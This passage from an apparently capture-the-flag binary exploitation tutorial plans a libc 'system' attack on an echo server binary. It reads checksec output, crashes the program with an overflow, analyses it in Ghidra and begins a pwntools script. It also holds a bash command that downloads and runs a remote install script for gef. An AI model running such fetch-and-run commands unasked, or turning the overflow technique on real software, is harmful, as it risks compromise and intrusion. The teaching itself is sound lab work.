"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"b'.'"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["Checksec shows us we have partial RELRO (global read and writeable offset table), there is no canary (so we don't have to worry about it in this application), ",(0,l.jsx)(e.code,{children:"NX"})," is enabled, which means we can't just shove executable shellcode to run, because any segment of memory that's marked as writable cannot be executed, and there's no PIE, which means ALSR is disabled. We don't need to worry about changing addresses and finally the runpath is where to look for libraries. The ",(0,l.jsx)(e.code,{children:"libc"})," library is loaded by the binary and it's set in a location in memory where we can expect it to be."]}),` `,(0,l.jsxs)(e.h3,{id:"breaking-into-things",children:[(0,l.jsx)(e.a,{className:"anchor",href:"#breaking-into-things",children:(0,l.jsx)(e.span,{className:"icon icon-link"})}),"Breaking into things"]}),` `,(0,l.jsx)(e.p,{children:"Let's take a peek at the information we have gains so far so that we can figure out how we can work through breaking the program."}),` `,(0,l.jsxs)(e.p,{children:["As we looked at before with the ",(0,l.jsx)(e.code,{children:"checksec"})," that ",(0,l.jsx)(e.code,{children:"NX"})," is enabled. This means we cannot write and send an exploit to the binary and let the stack execute the code as if it was normal code."]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"NX:"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"NX"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"enabled"})]})})})}),` `,(0,l.jsxs)(e.p,{children:["We're not looking at a shellcode-based buffer overflow exploit here. We do know that it's linking to the ",(0,l.jsx)(e.code,{children:"libc"})," library (after looking at ",(0,l.jsx)(e.code,{children:"ldd"}),"). Since there is a call to ",(0,l.jsx)(e.code,{children:"system"})," in ",(0,l.jsx)(e.code,{children:"libc"}),", this might be a good avenue to explore. The ",(0,l.jsx)(e.code,{children:"system"})," command allows us to create a child process on our system, such as ",(0,l.jsx)(e.code,{children:"/bin/sh"}),"."]}),` `,(0,l.jsx)(e.p,{children:"Turning to the binary, when we run the application we can see that it's an echo server that echos back whatever text is typed into it and manipulates the characters during the process:"}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"$"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"./vuln"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"WeLcOmE"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"To"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"mY"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"EcHo"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"sErVeR!"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"hello"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"world"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"HeLlO"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"WoRlD"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"ALL"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"CAPS"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"AlL"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"CaPs"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"^C"})})]})})}),` `,(0,l.jsxs)(e.p,{children:["When looking at breaking into a program, a good first step is to see what happens if we pass in an unexpected, or a surprising amount of characters to cause an overflow. If we find the system crashes, we can then be more precise and find out the number of characters the application expects to be inputed. We'll refer to the maximum character count as the ",(0,l.jsx)(e.code,{children:"offset"}),"."]}),` `,(0,l.jsx)(e.p,{children:"Let's use a quick python script to create a bunch of characters send into the application as it runs:"}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"$"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"python"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"-c"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:`"print('A'*256)"`}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" | "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"./vuln"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"WeLcOmE"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"To"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"mY"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"EcHo"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"sErVeR!"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaA\\"})}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"aAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"Segmentation"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"fault"})]})]})})}),` `,(0,l.jsx)(e.p,{children:"We've received a segmentation fault. A segmentation fault in the context of this binary means we've sent far more characters into the program than it expects and it broke something. This breakage is a great start for us to explore the application and see if it is exploitable."}),` `,(0,l.jsxs)(e.p,{children:["We're going to use a tool called ",(0,l.jsx)(e.a,{href:"https://ghidra-sre.org/",children:"ghidra"})," to help us identify parts of our program we can exploit and examine how things are running. Let's install it. Depending upon the system your working on the installation instructions are at the site ",(0,l.jsx)(e.a,{href:"https://ghidra-sre.org/",children:"https://ghidra-sre.org/"}),", but using Ubuntu, we'll use ",(0,l.jsx)(e.code,{children:"apt"}),":"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"apt"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"install"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"ghidra"})]})})})}),` `,(0,l.jsxs)(e.p,{children:["One more tool we'll use to help us is called ",(0,l.jsx)(e.a,{href:"https://github.com/hugsy/gef",children:"gef"}),' (prounounced "Jeff"). ',(0,l.jsx)(e.code,{children:"Gef"})," is a great tooling upgrade to ",(0,l.jsx)(e.code,{children:"gdb"}),". Since ",(0,l.jsx)(e.a,{href:"https://www.gnu.org/software/gdb/",children:"gdb"})," or the GNU Project Debugger might not be installed on our attacking system by default, let's install that first:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"apt"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"install"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"gdb"})]})})})}),` `,(0,l.jsxs)(e.p,{children:["There are a few different ways of installing ",(0,l.jsx)(e.code,{children:"gef"}),", one is by using their quick install, but it's always a good idea to be weary of using a script that executes on your machine, so consider the options listed on the ",(0,l.jsx)(e.a,{href:"https://github.com/hugsy/gef",children:"https://github.com/hugsy/gef"})," site."]}),` `,(0,l.jsxs)(e.p,{children:["For simplicity, we'll use the quick install, trusting ",(0,l.jsx)(e.code,{children:"gef"})," not to install any exploitable features on my machine:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"bash"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"-c"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'"$('}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"wget"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:" http://gef.blah.cat/sh "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"-O"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:' -)"'})]})})})}),` `,(0,l.jsx)(e.p,{children:"Let's go ahead and open up ghidra and create a new project using the command-line:"}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"bash","data-theme":"default",children:(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"ghidra"})})})})}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591652/ari-io/writing/heres-a-libc/ghidra-open_mu6op0.png",alt:"Opening ghidra"})}),` `,(0,l.jsxs)(e.p,{children:["We can create a new project by using ",(0,l.jsx)(e.code,{children:"File->New Project"})," (or by pressing ",(0,l.jsx)(e.code,{children:"Ctrl+N"}),' as a hotkey) and we can make a new "Non-Shared Project":']}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591650/ari-io/writing/heres-a-libc/ghidra-new-project_zzuaro.png",alt:"New Ghidra Project"})}),` `,(0,l.jsx)(e.p,{children:"Let's save the project in our home directory and give it a name. We can select the location of where we're saving our project in the same pane."}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591652/ari-io/writing/heres-a-libc/ghidra-new-project-name_sgm8kg.png",alt:"New Project"})}),` `,(0,l.jsx)(e.p,{children:"In order to examine our application, we'll need to import the binary we're given. In Ghidra there are all sorts of keyboard shortcuts and commands you can use to make the work quicker."}),` `,(0,l.jsxs)(e.blockquote,{children:[` `,(0,l.jsxs)(e.p,{children:["When working with Ghidra, I usually have the Ghidra cheatsheet open to help remind me of these shortcuts: ",(0,l.jsx)(e.a,{href:"https://ghidra-sre.org/CheatSheet.html",children:"Ghidra Cheatsheet"}),"."]}),` `]}),` `,(0,l.jsxs)(e.p,{children:["In order to ",(0,l.jsx)(e.em,{children:"import"})," the file, we can press ",(0,l.jsx)(e.code,{children:"i"})," at the project screen and select our binary. Once it's set, we'll be able to analyze the binary and start poking through the code."]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591650/ari-io/writing/heres-a-libc/ghidra-project-setup_qyhspu.png",alt:"New Project setup"})}),` `,(0,l.jsx)(e.p,{children:"Double clicking on our binary in the project will open the binary in the file analyzer mode where Ghidra will analyze the binary and then show us the analyzed components. The default analysis options are fine to go with for now, so we can just let it analyze by clicking analyze."}),` `,(0,l.jsxs)(e.h3,{id:"starting-analysis",children:[(0,l.jsx)(e.a,{className:"anchor",href:"#starting-analysis",children:(0,l.jsx)(e.span,{className:"icon icon-link"})}),"Starting analysis"]}),` `,(0,l.jsxs)(e.p,{children:["The first thing I like to do when analyzing a binary is hitting up the ",(0,l.jsx)(e.code,{children:"main"})," function. With Ghidra, we can look up different functions, classes, symbols, etc. to locate them within the analyzed binary. By finding the function named ",(0,l.jsx)(e.code,{children:"main"})," in the functions group, we'll open up the symbol tree and find the ",(0,l.jsx)(e.code,{children:"main"})," function."]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591645/ari-io/writing/heres-a-libc/ghidra-main_ciluqf.png",alt:"Main ghidra page"})}),` `,(0,l.jsxs)(e.p,{children:["We'll do most of our work in the ",(0,l.jsx)(e.strong,{children:"decompile"})," view of the ",(0,l.jsx)(e.code,{children:"main"})," function. Let's walk through this function and see what's happening. A lot of variables are being setup in the function right at the top. They might turn out to be interesting later, but for now, we can skip the entire big chunk of the lines of assembly code that are creating variables. Instead, let's find where the main functionality is defined, which is what gets executed when the application is actually running."]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591645/ari-io/writing/heres-a-libc/ghidra-main_ciluqf.png",alt:"Main Ghidra page"})}),` `,(0,l.jsxs)(e.p,{children:["We can see the project is setting the ",(0,l.jsx)(e.code,{children:"gid"})," user, which might be interesting, we'll come back to that later, if we need to. Next it's taking a string and calling ",(0,l.jsx)(e.code,{children:"convert_case()"})," on it with some offset. We can look into the ",(0,l.jsx)(e.code,{children:"convert_case()"})," function if we want, but for the first pass, we can make an assumption the function is doing what it sounds like it is doing then we'll assume it's translating a string into some case language, which we can see when we run the program. The function ",(0,l.jsx)(e.em,{children:"and"}),' the output when we run the application changes the cases of letters, so we can be convinced this is where the converting the case of the introduction language "Welcome to my echo server" and then makes the system call ',(0,l.jsx)(e.code,{children:"puts"})," to display it on the screen:"]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591655/ari-io/writing/heres-a-libc/welcome-screen_wal61m.png",alt:"Welcome screen"})}),` `,(0,l.jsxs)(e.p,{children:["The interesting part of the function is the ",(0,l.jsx)(e.code,{children:"do-while"})," loop all the way at the end. The ",(0,l.jsx)(e.code,{children:"do-while"})," loop will run forever (until the program quits) where it calls the function ",(0,l.jsx)(e.code,{children:"do_stuff()"}),". As this is the main loop of our program (which we can tell because the ",(0,l.jsx)(e.code,{children:"main"})," function ends after the loop, let's go take a peak at the ",(0,l.jsx)(e.code,{children:"do_stuff()"})," function."]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591642/ari-io/writing/heres-a-libc/do_stuff_vwla2r.png",alt:"do_stuff() function"})}),` `,(0,l.jsx)(e.p,{children:"Since we're using Ghidra and Ghidra can only decompile code into what it expects, it doesn't necessarily mean it is able to discern that the variables and sizes are. Let's take a moment and rename some symbols here so it is a little more sane to look at later. In the screenshot below, you can see I've gone ahead and renamed a few symbols:"}),` `,(0,l.jsxs)(e.ul,{children:[` `,(0,l.jsxs)(e.li,{children:["The allocated memory into ",(0,l.jsx)(e.code,{children:"allocated_buffer"})]}),` `,(0,l.jsx)(e.li,{children:"The newline character buffer"}),` `,(0,l.jsxs)(e.li,{children:["The offset of the newline buffer (by clicking on the string and identifying it as ",(0,l.jsx)(e.code,{children:"char(2)"}),")"]}),` `]}),` `,(0,l.jsx)(e.p,{children:"This step is helpful for us in the future, but is an optional step."}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591640/ari-io/writing/heres-a-libc/do_stuff-renamed_tiw5vn.png",alt:"renamed do_stuff() function"})}),` `,(0,l.jsxs)(e.p,{children:["This function looks like it's doing something similar to the beginning of the program where it allocats a buffer, calls ",(0,l.jsx)(e.code,{children:"convert_case()"})," on it, and then prints it to the screen. When we run the program, we can see this functionality printed in our terminal:"]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591642/ari-io/writing/heres-a-libc/functionality-input_vkkzyh.png",alt:"Functionality input"})}),` `,(0,l.jsxs)(e.p,{children:["Okay, so now that we have a handle on the program, let's open our ",(0,l.jsx)(e.code,{children:"pwner.py"})," and execute the program which will open a process with the ",(0,l.jsx)(e.code,{children:"vuln"})," binary."]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"python","data-theme":"default",children:[(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"#!/usr/bin/env python3"})}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"from"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" pwn "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"import"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" process"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"process"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'./vuln'"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"## Our script will go here"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"interactive"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()"})]})]})})}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591653/ari-io/writing/heres-a-libc/pwner-1_hp3qmq.png",alt:"pwner"})}),` `,(0,l.jsxs)(e.p,{children:["Awesome. Nothing crazy happened, it just executed the program as we expect. We'll be able to use this ",(0,l.jsx)(e.code,{children:"pwner.py"})," script to execute the program. Let's see if we can break the execution of the code just like we did before manually, but this time using the script. We'll pass in a bunch of junk characters (like a bunch of 'A' characters). But how many characters do we need to pass in before we get the program to break?"]}),` `,(0,l.jsx)(e.p,{children:"Let's hop back to Ghidra and see if we can spot where it calls the loop:"}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"c","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"c","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"void"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"do_stuff"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"void"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"{"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"// ..."})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"while"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" (offset "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"<"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"100"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:") {"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"// ..."})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" }"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"// ..."})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"}"})})]})})}),` `,(0,l.jsxs)(e.p,{children:["The program itself is calling ",(0,l.jsx)(e.code,{children:"scanf()"})," to read in text input (which we can see in the assembly code) and then calling it again to read a single newline character. Once the newline character is reached, the program continues it's execution where it then reads at most 112 characters into the ",(0,l.jsx)(e.code,{children:"allocated_buffer"})," (which is what we renamed above) and calls the function ",(0,l.jsx)(e.code,{children:"convert_case()"})," on them, just as it did in the main method. Since we have an offset and it's hardcoded in the program (",(0,l.jsx)(e.code,{children:"c"})," allows you to shoot yourself in the foot) at ",(0,l.jsx)(e.code,{children:"100"}),", we can use this knowledge to narrow down the exact number of characters we can read to overflow our buffer."]}),` `,(0,l.jsxs)(e.p,{children:["Let's pass in a lot of characters (something much bigger than the number of characters it's reading) and see if the program crashes. Manually, we can copy and paste a bunch of ",(0,l.jsx)(e.code,{children:"A"})," characters, but let's investigate using our ",(0,l.jsx)(e.code,{children:"pwner.py"})," script."]}),` `,(0,l.jsxs)(e.p,{children:["Before we get to trying to flood the ",(0,l.jsx)(e.code,{children:"allocated_buffer"})," variable, let's ensure we can pass some information into our program. Let's update our ",(0,l.jsx)(e.code,{children:"pwner.py"})," script to send a binary payload with 'hello world' into stdin and then read back from stdout to allow the ",(0,l.jsx)(e.code,{children:"do_stuff()"})," function to complete."]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"python","data-theme":"default",children:[(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"#!/usr/bin/env python3"})}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"from"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" pwn "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"import"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" process"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"process"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'./vuln'"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# Construct the payload"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"payload "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" ["})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"b"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'hello world'"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:","})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"b"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'"}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"\\n"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:","})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"]"})}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# Convert the payload to a binary"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"payload "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"b"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"''"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"join"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(payload)"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# Send payload over to the program's stdin pipe"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"sendline"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(payload)"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# Read from the stdout"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"recvline"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"recvline"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` 